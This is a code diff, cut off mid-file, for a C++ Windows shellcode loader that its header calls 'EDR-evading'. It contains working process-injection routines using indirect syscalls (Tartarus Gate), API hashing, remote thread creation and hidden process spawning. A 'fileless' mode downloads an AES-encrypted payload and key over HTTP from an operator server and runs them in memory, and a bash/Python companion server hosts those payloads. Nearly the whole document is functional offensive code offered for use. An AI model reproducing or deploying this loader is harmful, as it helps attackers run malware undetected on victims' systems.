|
||||
|
||||
if (!pSearch || !pCreate || !pClose) {
|
||||
Log::Warn("Spawn: SearchPathW/CreateProcessW hash resolve failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t pathBuf[MAX_PATH] = {};
|
||||
wchar_t* filePart = nullptr;
|
||||
if (!pSearch(nullptr, exeName.c_str(), nullptr, MAX_PATH, pathBuf, &filePart)) {
|
||||
Log::Warn("Spawn: executable not found on PATH: %ls", exeName.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
Log::Sys("Spawn: resolved %ls", pathBuf);
|
||||
|
||||
STARTUPINFOW si{};
|
||||
si.cb = sizeof(si);
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
|
||||
PROCESS_INFORMATION pi{};
|
||||
const DWORD flags = CREATE_SUSPENDED | CREATE_NO_WINDOW;
|
||||
|
||||
if (!pCreate(pathBuf, nullptr, nullptr, nullptr, FALSE, flags, nullptr, nullptr, &si, &pi)) {
|
||||
Log::Warn("Spawn: CreateProcessW failed (%lu)", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
out.hProcess = pi.hProcess;
|
||||
out.hThread = pi.hThread;
|
||||
out.pid = pi.dwProcessId;
|
||||
out.spawned = true;
|
||||
|
||||
Log::Ok("Spawned headless PID %lu (%ls)", out.pid, exeName.c_str());
|
||||
return true;
|
||||
}
|
||||
|
||||
bool StageRemote(
|
||||
TartarusGate::SyscallTable& sc,
|
||||
HANDLE hProcess,
|
||||
const std::vector<BYTE>& shellcode,
|
||||
PVOID& remoteBase)
|
||||
{
|
||||
Log::Banner("Remote Stage (alloc + write + protect)");
|
||||
PVOID base = nullptr;
|
||||
SIZE_T region = SectionMap::PageAlign(shellcode.size());
|
||||
Log::Sys("NtAllocateVirtualMemory: Process=%p Size=%zu (page-aligned) Type=COMMIT|RESERVE Prot=PAGE_READWRITE",
|
||||
hProcess, static_cast<size_t>(region));
|
||||
|
||||
NTSTATUS st = sc.NtAllocateVirtualMemory(
|
||||
hProcess, &base, 0, ®ion,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
Log::NtStatus("remote NtAllocateVirtualMemory", st);
|
||||
|
||||
if (!NT_SUCCESS(st) || !base) {
|
||||
return false;
|
||||
}
|
||||
Log::Sys("remote RW region base=%p size=%zu", base, static_cast<size_t>(region));
|
||||
|
||||
SIZE_T written = 0;
|
||||
Log::Sys("NtWriteVirtualMemory: dest=%p len=%zu", base, shellcode.size());
|
||||
st = sc.NtWriteVirtualMemory(
|
||||
hProcess, base,
|
||||
const_cast<PVOID>(static_cast<const void*>(shellcode.data())),
|
||||
shellcode.size(), &written);
|
||||
Log::NtStatus("remote NtWriteVirtualMemory", st);
|
||||
Log::Dbg("bytes written=%zu expected=%zu", static_cast<size_t>(written), shellcode.size());
|
||||
|
||||
if (!NT_SUCCESS(st) || written != shellcode.size()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
ULONG old = 0;
|
||||
PVOID prot = base;
|
||||
SIZE_T protSize = region;
|
||||
Log::Sys("NtProtectVirtualMemory: base=%p size=%zu NewProt=PAGE_EXECUTE_READ (W^X)",
|
||||
base, static_cast<size_t>(protSize));
|
||||
st = sc.NtProtectVirtualMemory(hProcess, &prot, &protSize, PAGE_EXECUTE_READ, &old);
|
||||
Log::NtStatus("remote NtProtectVirtualMemory", st);
|
||||
if (!NT_SUCCESS(st)) {
|
||||
return false;
|
||||
}
|
||||
Log::Dbg("old protection=0x%08lX", static_cast<unsigned long>(old));
|
||||
|
||||
remoteBase = base;
|
||||
Log::Sys("Remote RX at %p (%zu bytes written)", base, static_cast<size_t>(written));
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ExecuteRemoteThread(HANDLE hProcess, PVOID entry) {
|
||||
Log::Banner("Remote Execute (CreateRemoteThread)");
|
||||
auto* k32 = ApiResolver::GetKernel32();
|
||||
if (!k32) {
|
||||
Log::Dbg("kernel32 base null");
|
||||
return false;
|
||||
}
|
||||
|
||||
using CreateRemoteThread_t = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
|
||||
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
using CloseHandle_t = BOOL(WINAPI*)(HANDLE);
|
||||
|
||||
auto* pCRT = reinterpret_cast<CreateRemoteThread_t>(
|
||||
ApiResolver::ResolveExport(k32, Hashes::H_CreateRemoteThread));
|
||||
auto* pClose = reinterpret_cast<CloseHandle_t>(
|
||||
ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));
|
||||
|
||||
if (!pCRT || !pClose) {
|
||||
Log::Warn("CreateRemoteThread hash resolve failed");
|
||||
return false;
|
||||
}
|
||||
Log::Sys("CreateRemoteThread resolved pCRT=%p process=%p start=%p", pCRT, hProcess, entry);
|
||||
|
||||
DWORD tid = 0;
|
||||
HANDLE hThread = pCRT(hProcess, nullptr, 0,
|
||||
reinterpret_cast<LPTHREAD_START_ROUTINE>(entry), nullptr, 0, &tid);
|
||||
|
||||
if (!hThread) {
|
||||
Log::Warn("CreateRemoteThread failed (%lu)", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
Log::Ok("Remote thread TID %lu at entry %p", tid, entry);
|
||||
Log::Dbg("closing remote thread handle %p (thread continues)", hThread);
|
||||
pClose(hThread);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ResumePrimary(RemoteTarget& target) {
|
||||
if (!target.spawned || !target.hThread) {
|
||||
return true;
|
||||
}
|
||||
|
||||
auto* k32 = ApiResolver::GetKernel32();
|
||||
auto* pResume = reinterpret_cast<DWORD(WINAPI*)(HANDLE)>(
|
||||
ApiResolver::ResolveExport(k32, Hashes::H_ResumeThread));
|
||||
if (!pResume) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const DWORD rc = pResume(target.hThread);
|
||||
Log::Sys("ResumeThread primary -> %lu", rc);
|
||||
return rc != static_cast<DWORD>(-1);
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool AcquireTarget(TartarusGate::SyscallTable& sc, const std::string& target, RemoteTarget& out) {
|
||||
Log::Banner("Acquire Target");
|
||||
Log::Info("raw target arg='%s'", target.c_str());
|
||||
out = {};
|
||||
|
||||
DWORD pid = 0;
|
||||
if (IsNumericPid(target, pid)) {
|
||||
Log::Info("Target parsed as numeric PID %lu", pid);
|
||||
} else {
|
||||
const std::string norm = NormalizeName(target);
|
||||
Log::Dbg("normalized process name='%s'", norm.c_str());
|
||||
if (!FindPidByName(sc, norm, pid)) {
|
||||
Log::Info("Process '%s' not running — spawning headless", norm.c_str());
|
||||
std::wstring wname(norm.begin(), norm.end());
|
||||
if (!SpawnHeadless(wname, out)) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
Log::Info("Target process '%s' -> PID %lu", norm.c_str(), pid);
|
||||
}
|
||||
|
||||
out.hProcess = OpenProcessSyscall(sc, pid);
|
||||
if (!out.hProcess) {
|
||||
Log::Dbg("syscall open failed — trying Win32 OpenProcess");
|
||||
out.hProcess = OpenProcessWin32(pid);
|
||||
}
|
||||
if (!out.hProcess) {
|
||||
Log::Err("Cannot open PID %lu", pid);
|
||||
return false;
|
||||
}
|
||||
|
||||
out.pid = pid;
|
||||
out.spawned = false;
|
||||
Log::Sys("AcquireTarget done: PID=%lu handle=%p", out.pid, out.hProcess);
|
||||
return true;
|
||||
}
|
||||
|
||||
void ReleaseTarget(TartarusGate::SyscallTable& sc, RemoteTarget& target) {
|
||||
if (target.hThread) {
|
||||
sc.NtClose(target.hThread);
|
||||
target.hThread = nullptr;
|
||||
}
|
||||
if (target.hProcess) {
|
||||
sc.NtClose(target.hProcess);
|
||||
target.hProcess = nullptr;
|
||||
}
|
||||
}
|
||||
|
||||
bool RunRemote(TartarusGate::SyscallTable& sc, RemoteTarget& target, const std::vector<BYTE>& shellcode) {
|
||||
if (!sc.initialized || !target.hProcess || shellcode.empty()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
PVOID remoteBase = nullptr;
|
||||
if (!StageRemote(sc, target.hProcess, shellcode, remoteBase)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
Log::Sys("remote RX=%p PID=%lu technique=alloc+write+protect", remoteBase, target.pid);
|
||||
|
||||
if (!ExecuteRemoteThread(target.hProcess, remoteBase)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!ResumePrimary(target)) {
|
||||
Log::Warn("ResumeThread failed (injection may still run)");
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool StageViaVirtualAlloc(
|
||||
TartarusGate::SyscallTable& sc,
|
||||
const std::vector<BYTE>& shellcode,
|
||||
PVOID& outExec)
|
||||
{
|
||||
Log::Banner("Local Stage (NtAllocateVirtualMemory W^X)");
|
||||
PVOID base = nullptr;
|
||||
SIZE_T size = shellcode.size();
|
||||
Log::Sys("NtAllocateVirtualMemory: self Process size=%zu Prot=PAGE_READWRITE",
|
||||
static_cast<size_t>(size));
|
||||
NTSTATUS st = sc.NtAllocateVirtualMemory(
|
||||
GetCurrentProcess(), &base, 0, &size,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
Log::NtStatus("NtAllocateVirtualMemory", st);
|
||||
if (!NT_SUCCESS(st) || !base) {
|
||||
return false;
|
||||
}
|
||||
Log::Sys("local RW base=%p allocated=%zu", base, static_cast<size_t>(size));
|
||||
|
||||
std::memcpy(base, shellcode.data(), shellcode.size());
|
||||
Log::Dbg("memcpy shellcode %zu bytes -> %p", shellcode.size(), base);
|
||||
|
||||
ULONG old = 0;
|
||||
PVOID prot = base;
|
||||
SIZE_T protSize = size;
|
||||
Log::Sys("NtProtectVirtualMemory: NewProt=PAGE_EXECUTE_READ (W^X)");
|
||||
st = sc.NtProtectVirtualMemory(
|
||||
GetCurrentProcess(), &prot, &protSize, PAGE_EXECUTE_READ, &old);
|
||||
Log::NtStatus("NtProtectVirtualMemory", st);
|
||||
if (!NT_SUCCESS(st)) {
|
||||
PVOID freeBase = base;
|
||||
sc.NtFreeVirtualMemory(GetCurrentProcess(), &freeBase, &size, MEM_RELEASE);
|
||||
Log::Dbg("freed failed region");
|
||||
return false;
|
||||
}
|
||||
Log::Dbg("old protection=0x%08lX", static_cast<unsigned long>(old));
|
||||
|
||||
outExec = base;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool RunLocal(TartarusGate::SyscallTable& sc, const std::vector<BYTE>& shellcode) {
|
||||
Log::Banner("RunLocal");
|
||||
Log::Info("shellcode=%zu bytes", shellcode.size());
|
||||
PVOID execMem = nullptr;
|
||||
|
||||
if (StageViaVirtualAlloc(sc, shellcode, execMem)) {
|
||||
Log::Sys("local RX=%p technique=NtAllocateVirtualMemory W^X", execMem);
|
||||
const bool ok = SectionMap::ExecuteLocal(sc, execMem);
|
||||
Log::Dbg("ExecuteLocal returned %s — freeing region", ok ? "OK" : "FAIL");
|
||||
SIZE_T freeSize = shellcode.size();
|
||||
PVOID freeBase = execMem;
|
||||
NTSTATUS st = sc.NtFreeVirtualMemory(GetCurrentProcess(), &freeBase, &freeSize, MEM_RELEASE);
|
||||
Log::NtStatus("NtFreeVirtualMemory", st);
|
||||
return ok;
|
||||
}
|
||||
|
||||
Log::Dbg("VirtualAlloc path failed — fallback NtCreateSection/MapView");
|
||||
SectionMap::MappedRegion region{};
|
||||
if (!SectionMap::StageLocal(sc, shellcode, region)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
Log::Sys("local RX=%p technique=NtMapViewOfSection W^X size=%zu",
|
||||
region.localView, static_cast<size_t>(region.viewSize));
|
||||
const bool ok = SectionMap::ExecuteLocal(sc, region.localView);
|
||||
Log::Dbg("cleanup section map (ok=%d)", ok ? 1 : 0);
|
||||
SectionMap::Cleanup(sc, region, nullptr);
|
||||
return ok;
|
||||
}
|
||||
|
||||
} // namespace Ingestion
|
||||
@@ -0,0 +1,30 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "../lib/syscall/tartarus_gate.hpp"
|
||||
|
||||
namespace Ingestion {
|
||||
|
||||
struct RemoteTarget {
|
||||
HANDLE hProcess = nullptr;
|
||||
HANDLE hThread = nullptr;
|
||||
DWORD pid = 0;
|
||||
bool spawned = false;
|
||||
};
|
||||
|
||||
// Local: indirect syscall alloc RW->RX + hash-resolved CreateThread.
|
||||
bool RunLocal(TartarusGate::SyscallTable& sc, const std::vector<BYTE>& shellcode);
|
||||
|
||||
// Resolve PID by name (basename match) or numeric PID. Spawn headless if name missing.
|
||||
bool AcquireTarget(TartarusGate::SyscallTable& sc, const std::string& target, RemoteTarget& out);
|
||||
|
||||
void ReleaseTarget(TartarusGate::SyscallTable& sc, RemoteTarget& target);
|
||||
|
||||
// Remote: NtAllocateVirtualMemory + NtWriteVirtualMemory + NtProtectVirtualMemory
|
||||
// in target via Tartarus Gate + CreateRemoteThread (API hash).
|
||||
bool RunRemote(TartarusGate::SyscallTable& sc, RemoteTarget& target, const std::vector<BYTE>& shellcode);
|
||||
|
||||
} // namespace Ingestion
|
||||
@@ -0,0 +1,269 @@
|
||||
#include "loader_core.hpp"
|
||||
#include "ingestion.hpp"
|
||||
|
||||
#include "../lib/crypto/aes_crypto.hpp"
|
||||
#include "../lib/net/http_transport.hpp"
|
||||
#include "../lib/resolve/api_resolver.hpp"
|
||||
#include "../lib/common/log.hpp"
|
||||
|
||||
#include <cstdint>
|
||||
#include <fstream>
|
||||
#include <iostream>
|
||||
#include <vector>
|
||||
|
||||
namespace LoaderCore {
|
||||
|
||||
namespace {
|
||||
TartarusGate::SyscallTable g_sc;
|
||||
}
|
||||
|
||||
TartarusGate::SyscallTable& GetSyscalls() {
|
||||
return g_sc;
|
||||
}
|
||||
|
||||
bool Initialize() {
|
||||
Log::Banner("Loader Init");
|
||||
Log::Info("mode=loader — Tartarus Gate + PEB module resolve");
|
||||
if (!TartarusGate::Initialize(g_sc)) {
|
||||
Log::Err("Syscall init failed");
|
||||
return false;
|
||||
}
|
||||
Log::Sys("PEB modules: ntdll=%p kernel32=%p bcrypt=%p ws2=%p",
|
||||
ApiResolver::GetNtdll(), ApiResolver::GetKernel32(),
|
||||
ApiResolver::GetBcrypt(), ApiResolver::GetWs2_32());
|
||||
Log::Dbg("syscall table ready (initialized=%d)", g_sc.initialized ? 1 : 0);
|
||||
return true;
|
||||
}
|
||||
|
||||
void Shutdown() {
|
||||
Log::Dbg("Shutdown: cleaning Tartarus stubs");
|
||||
TartarusGate::CleanupStubs();
|
||||
g_sc = {};
|
||||
}
|
||||
|
||||
static bool ReadFileToBuffer(const std::string& path, std::vector<BYTE>& out) {
|
||||
Log::Dbg("ReadFile: path=%s", path.c_str());
|
||||
std::ifstream f(path, std::ios::binary | std::ios::ate);
|
||||
if (!f.is_open()) {
|
||||
Log::Dbg("ReadFile: open failed");
|
||||
return false;
|
||||
}
|
||||
out.resize(static_cast<size_t>(f.tellg()));
|
||||
f.seekg(0);
|
||||
f.read(reinterpret_cast<char*>(out.data()), out.size());
|
||||
Log::Info("ReadFile: %zu bytes from %s", out.size(), path.c_str());
|
||||
return true;
|
||||
}
|
||||
|
||||
static int DispatchShellcode(const Cli::Options& opt, std::vector<BYTE>& shellcode) {
|
||||
Log::Banner("Dispatch Shellcode");
|
||||
Log::Info("payload size=%zu remote=%s target=%s",
|
||||
shellcode.size(),
|
||||
opt.remoteIngestion ? "yes" : "no",
|
||||
opt.processTarget.empty() ? "(local)" : opt.processTarget.c_str());
|
||||
Log::HexPreview("payload", shellcode.data(), shellcode.size());
|
||||
|
||||
if (opt.remoteIngestion) {
|
||||
Log::Banner("Remote Ingestion");
|
||||
Log::Info("target=%s bytes=%zu", opt.processTarget.c_str(), shellcode.size());
|
||||
|
||||
Ingestion::RemoteTarget target{};
|
||||
if (!Ingestion::AcquireTarget(g_sc, opt.processTarget, target)) {
|
||||
Log::Err("Target acquire failed: %s", opt.processTarget.c_str());
|
||||
return 7;
|
||||
}
|
||||
Log::Sys("target acquired: PID=%lu hProcess=%p hThread=%p spawned=%d",
|
||||
target.pid, target.hProcess, target.hThread, target.spawned ? 1 : 0);
|
||||
|
||||
if (!Ingestion::RunRemote(g_sc, target, shellcode)) {
|
||||
Ingestion::ReleaseTarget(g_sc, target);
|
||||
Log::Err("Remote injection failed (PID %lu)", target.pid);
|
||||
return 9;
|
||||
}
|
||||
|
||||
Ingestion::ReleaseTarget(g_sc, target);
|
||||
Log::Dbg("target handles closed");
|
||||
Log::Ok("Remote done — PID %lu (%zu bytes)", target.pid, shellcode.size());
|
||||
return 0;
|
||||
}
|
||||
|
||||
Log::Banner("Local Ingestion");
|
||||
if (!Ingestion::RunLocal(g_sc, shellcode)) {
|
||||
Log::Err("Local execution failed");
|
||||
return 3;
|
||||
}
|
||||
|
||||
Log::Ok("Local done — %zu bytes", shellcode.size());
|
||||
return 0;
|
||||
}
|
||||
|
||||
int RunNormal(const Cli::Options& opt) {
|
||||
if (opt.inputPath == "__selftest__") {
|
||||
Log::Banner("Self-Test");
|
||||
Log::Info("checking PEB modules + AES roundtrip");
|
||||
if (!ApiResolver::GetNtdll() || !ApiResolver::GetBcrypt()) {
|
||||
Log::Err("PEB module resolve failed");
|
||||
return 1;
|
||||
}
|
||||
Log::Sys("ntdll=%p bcrypt=%p", ApiResolver::GetNtdll(), ApiResolver::GetBcrypt());
|
||||
std::vector<BYTE> sample = { 0x90, 0x90, 0xC3 };
|
||||
AesCrypto::KeyMaterial km{};
|
||||
std::vector<BYTE> enc, dec;
|
||||
if (!AesCrypto::GenerateKeyMaterial(km) || !AesCrypto::Encrypt(sample, km, enc) ||
|
||||
!AesCrypto::Decrypt(enc, km, dec)) {
|
||||
Log::Err("AES roundtrip failed");
|
||||
return 2;
|
||||
}
|
||||
Log::Dbg("AES roundtrip ok: plain=%zu enc=%zu dec=%zu", sample.size(), enc.size(), dec.size());
|
||||
Log::Ok("Self-test Just for Fun :) (PEB + Tartarus + AES) -> Checks PEB walk -> Dynamic Resolution -> Retrive SSH -> Create STUB , Get Gadget");
|
||||
return 0;
|
||||
}
|
||||
|
||||
Log::Banner("RunNormal");
|
||||
Log::Info("input=%s remote=%s", opt.inputPath.c_str(),
|
||||
opt.remoteIngestion ? opt.processTarget.c_str() : "no");
|
||||
|
||||
std::vector<BYTE> shellcode;
|
||||
if (!ReadFileToBuffer(opt.inputPath, shellcode)) {
|
||||
Log::Err("Cannot read file");
|
||||
return 2;
|
||||
}
|
||||
|
||||
return DispatchShellcode(opt, shellcode);
|
||||
}
|
||||
|
||||
int RunEncrypt(const Cli::Options& opt) {
|
||||
Log::Banner("RunEncrypt");
|
||||
Log::Info("AES encrypt file=%s", opt.inputPath.c_str());
|
||||
std::wstring wpath(opt.inputPath.begin(), opt.inputPath.end());
|
||||
std::wstring encPath, keyPath;
|
||||
|
||||
if (!AesCrypto::EncryptFileToDisk(wpath, encPath, keyPath)) {
|
||||
Log::Err("AES encrypt failed");
|
||||
return 2;
|
||||
}
|
||||
|
||||
Log::Ok("Encrypted — use .enc + .key or --server --enc AES");
|
||||
Log::Info("output: .enc + .key written");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int RunFileless(const Cli::Options& opt) {
|
||||
HttpTransport::Endpoint ep{};
|
||||
if (!HttpTransport::ParseSource(opt.sourceHost, ep)) {
|
||||
Log::Err("Bad --source");
|
||||
return 2;
|
||||
}
|
||||
|
||||
Log::Banner("Fileless Client");
|
||||
Log::Info("source host=%s port=%u aes=%s remote=%s",
|
||||
ep.host.c_str(), ep.port,
|
||||
opt.useAes ? "yes" : "no",
|
||||
opt.remoteIngestion ? opt.processTarget.c_str() : "no");
|
||||
Log::Info("GET http://%s:%u/api/v1/payload%s", ep.host.c_str(), ep.port,
|
||||
opt.useAes ? " + /api/v1/key" : "");
|
||||
|
||||
std::vector<std::uint8_t> payload;
|
||||
if (!HttpTransport::FetchPayload(ep, payload) || payload.empty()) {
|
||||
Log::Err("Payload fetch failed");
|
||||
return 3;
|
||||
}
|
||||
Log::Info("payload fetched: %zu bytes", payload.size());
|
||||
Log::HexPreview("http payload", payload.data(), payload.size());
|
||||
|
||||
std::vector<BYTE> shellcode;
|
||||
|
||||
if (opt.useAes) {
|
||||
Log::Banner("Fileless AES Decrypt");
|
||||
std::vector<std::uint8_t> keyBlob;
|
||||
if (!HttpTransport::FetchKey(ep, keyBlob) || keyBlob.empty()) {
|
||||
Log::Err("Key fetch failed");
|
||||
return 4;
|
||||
}
|
||||
Log::Info("key blob fetched: %zu bytes", keyBlob.size());
|
||||
|
||||
AesCrypto::KeyMaterial km{};
|
||||
if (!AesCrypto::UnpackKeyMaterial(keyBlob, km)) {
|
||||
Log::Err("Key unpack failed");
|
||||
return 5;
|
||||
}
|
||||
Log::Dbg("key material: key=%zu iv=%zu", km.key.size(), km.iv.size());
|
||||
|
||||
if (!AesCrypto::Decrypt(payload, km, shellcode)) {
|
||||
Log::Err("Decrypt failed");
|
||||
return 6;
|
||||
}
|
||||
|
||||
Log::Info("AES decrypt OK: cipher=%zu plain=%zu", payload.size(), shellcode.size());
|
||||
} else {
|
||||
shellcode.assign(payload.begin(), payload.end());
|
||||
Log::Dbg("plain payload -> shellcode (%zu bytes)", shellcode.size());
|
||||
}
|
||||
|
||||
return DispatchShellcode(opt, shellcode);
|
||||
}
|
||||
|
||||
int RunServer(const Cli::Options& opt) {
|
||||
std::vector<std::uint8_t> payload;
|
||||
std::vector<std::uint8_t> keyBlob;
|
||||
|
||||
Log::SrvBanner("Server Prep");
|
||||
Log::Srv("input=%s aes=%s port=%u",
|
||||
opt.inputPath.empty() ? "(payload.enc fallback)" : opt.inputPath.c_str(),
|
||||
opt.useAes ? "yes" : "no",
|
||||
opt.serverPort);
|
||||
|
||||
if (!opt.inputPath.empty()) {
|
||||
std::vector<BYTE> plain;
|
||||
if (!ReadFileToBuffer(opt.inputPath, plain)) {
|
||||
// ReadFile uses loader channel; mirror for server verbose
|
||||
Log::Srv("failed to read server file: %s", opt.inputPath.c_str());
|
||||
Log::Err("Cannot read server file -> Check file location ;( )");
|
||||
return 2;
|
||||
}
|
||||
Log::Srv("loaded file: %zu bytes from %s", plain.size(), opt.inputPath.c_str());
|
||||
|
||||
if (opt.useAes) {
|
||||
AesCrypto::KeyMaterial km{};
|
||||
if (!AesCrypto::GenerateKeyMaterial(km) ||
|
||||
!AesCrypto::Encrypt(plain, km, payload)) {
|
||||
Log::Err("Server AES prep failed");
|
||||
return 4;
|
||||
}
|
||||
keyBlob = AesCrypto::PackKeyMaterial(km);
|
||||
Log::Srv("AES prep: plain=%zu cipher=%zu keyBlob=%zu",
|
||||
plain.size(), payload.size(), keyBlob.size());
|
||||
Log::Ok("Server AES mode — port %u", opt.serverPort);
|
||||
} else {
|
||||
payload.assign(plain.begin(), plain.end());
|
||||
Log::Srv("plain mode: serving %zu bytes", payload.size());
|
||||
Log::Ok("Server plain mode — port %u", opt.serverPort);
|
||||
}
|
||||
} else {
|
||||
std::ifstream encFile(L"payload.enc", std::ios::binary | std::ios::ate);
|
||||
if (!encFile.is_open()) {
|
||||
Log::Err("No file — use: loader.exe --server <file.bin>");
|
||||
return 2;
|
||||
}
|
||||
payload.resize(static_cast<size_t>(encFile.tellg()));
|
||||
encFile.seekg(0);
|
||||
encFile.read(reinterpret_cast<char*>(payload.data()), payload.size());
|
||||
std::ifstream keyFile(L"payload.key", std::ios::binary | std::ios::ate);
|
||||
if (keyFile.is_open()) {
|
||||
keyBlob.resize(static_cast<size_t>(keyFile.tellg()));
|
||||
keyFile.seekg(0);
|
||||
keyFile.read(reinterpret_cast<char*>(keyBlob.data()), keyBlob.size());
|
||||
}
|
||||
Log::Srv("fallback files: payload.enc=%zu payload.key=%zu",
|
||||
payload.size(), keyBlob.size());
|
||||
}
|
||||
|
||||
Log::SrvBanner("Fileless Server");
|
||||
if (!HttpTransport::RunServerMemory(opt.serverPort, payload, keyBlob, opt.server_verbose)) {
|
||||
Log::Err("Server bind failed");
|
||||
return 5;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
} // namespace LoaderCore
|
||||
@@ -0,0 +1,20 @@
|
||||
#pragma once
|
||||
|
||||
#include "cli.hpp"
|
||||
#include "../lib/syscall/tartarus_gate.hpp"
|
||||
|
||||
namespace LoaderCore {
|
||||
|
||||
// Global syscall table — initialized once per process.
|
||||
TartarusGate::SyscallTable& GetSyscalls();
|
||||
|
||||
bool Initialize();
|
||||
void Shutdown();
|
||||
|
||||
// Mode handlers
|
||||
int RunNormal(const Cli::Options& opt);
|
||||
int RunEncrypt(const Cli::Options& opt);
|
||||
int RunFileless(const Cli::Options& opt);
|
||||
int RunServer(const Cli::Options& opt);
|
||||
|
||||
} // namespace LoaderCore
|
||||
@@ -0,0 +1,69 @@
|
||||
// loader v2.0 — modular EDR-evading shellcode loader
|
||||
// lib: Manual PE parser, API hashing, Tartarus Gate indirect syscalls,
|
||||
// section mapping, AES crypto, HTTP fileless transport
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#define NOMINMAX
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
|
||||
#include <iostream>
|
||||
#include <windows.h>
|
||||
#include "cli.hpp"
|
||||
#include "loader_core.hpp"
|
||||
#include "../lib/common/log.hpp"
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
SetConsoleOutputCP(CP_UTF8);
|
||||
|
||||
const Cli::Options opt = Cli::Parse(argc, argv);
|
||||
|
||||
// Separate channels: loader verbose dumps syscalls/injection; server verbose dumps HTTP only.
|
||||
if (opt.mode == Cli::Mode::Server) {
|
||||
Log::SetVerbose(false);
|
||||
Log::SetServerVerbose(opt.server_verbose);
|
||||
} else {
|
||||
Log::SetVerbose(opt.verbose);
|
||||
Log::SetServerVerbose(false);
|
||||
}
|
||||
|
||||
if (opt.mode == Cli::Mode::Help) {
|
||||
Cli::PrintUsage();
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (opt.mode == Cli::Mode::Banner) {
|
||||
Cli::PrintBanner();
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Server does not need Tartarus/syscall table; skip noisy init path.
|
||||
if (opt.mode != Cli::Mode::Server) {
|
||||
if (!LoaderCore::Initialize()) {
|
||||
Log::Err("Syscall init failed");
|
||||
return 10;
|
||||
}
|
||||
}
|
||||
|
||||
int rc = 0;
|
||||
switch (opt.mode) {
|
||||
case Cli::Mode::Normal:
|
||||
rc = LoaderCore::RunNormal(opt);
|
||||
break;
|
||||
case Cli::Mode::Encrypt:
|
||||
rc = LoaderCore::RunEncrypt(opt);
|
||||
break;
|
||||
case Cli::Mode::Fileless:
|
||||
rc = LoaderCore::RunFileless(opt);
|
||||
break;
|
||||
case Cli::Mode::Server:
|
||||
rc = LoaderCore::RunServer(opt);
|
||||
break;
|
||||
default:
|
||||
Cli::PrintUsage();
|
||||
rc = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
LoaderCore::Shutdown();
|
||||
return rc;
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
#!/usr/bin/env bash
|
||||
# Linux fileless payload server (companion to loader.exe --server on Windows)
|
||||
# Usage: ./server.sh [--port 8080] [--payload file.enc] [--key file.key]
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
PORT=8080
|
||||
PAYLOAD="payload.enc"
|
||||
KEY="payload.key"
|
||||
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--port) PORT="$2"; shift 2 ;;
|
||||
--payload) PAYLOAD="$2"; shift 2 ;;
|
||||
--key) KEY="$2"; shift 2 ;;
|
||||
--server) shift ;;
|
||||
*) echo "Unknown arg: $1"; exit 1 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [[ ! -f "$PAYLOAD" ]]; then
|
||||
echo "[!] Missing payload file: $PAYLOAD"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] Linux fileless server on port $PORT"
|
||||
echo "[*] Endpoints: /api/v1/payload /api/v1/key /api/v1/health"
|
||||
|
||||
python3 - "$PORT" "$PAYLOAD" "$KEY" <<'PY'
|
||||
import sys, os
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
|
||||
port = int(sys.argv[1])
|
||||
payload_path = sys.argv[2]
|
||||
key_path = sys.argv[3]
|
||||
|
||||
with open(payload_path, 'rb') as f:
|
||||
payload = f.read()
|
||||
key = b''
|
||||
if os.path.isfile(key_path):
|
||||
with open(key_path, 'rb') as f:
|
||||
key = f.read()
|
||||
|
||||
class Handler(BaseHTTPRequestHandler):
|
||||
def do_GET(self):
|
||||
if self.path.startswith('/api/v1/payload'):
|
||||
body = payload
|
||||
elif self.path.startswith('/api/v1/key'):
|
||||
body = key
|
||||
elif self.path.startswith('/api/v1/health'):
|
||||
body = b'OK'
|
||||
else:
|
||||
self.send_response(404)
|
||||
self.end_headers()
|
||||
return
|
||||
self.send_response(200)
|
||||
self.send_header('Content-Type', 'application/octet-stream')
|
||||
self.send_header('Content-Length', str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
def log_message(self, fmt, *args):
|
||||
sys.stderr.write("[server] " + (fmt % args) + "\n")
|
||||
|
||||
HTTPServer(('0.0.0.0', port), Handler).serve_forever()
|
||||
PY
|
||||
@@ -0,0 +1,16 @@
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
#include "../lib/common/hashes.hpp"
|
||||
|
||||
int main() {
|
||||
const char* names[] = {
|
||||
"ntdll.dll", "NtAllocateVirtualMemory", "NtProtectVirtualMemory",
|
||||
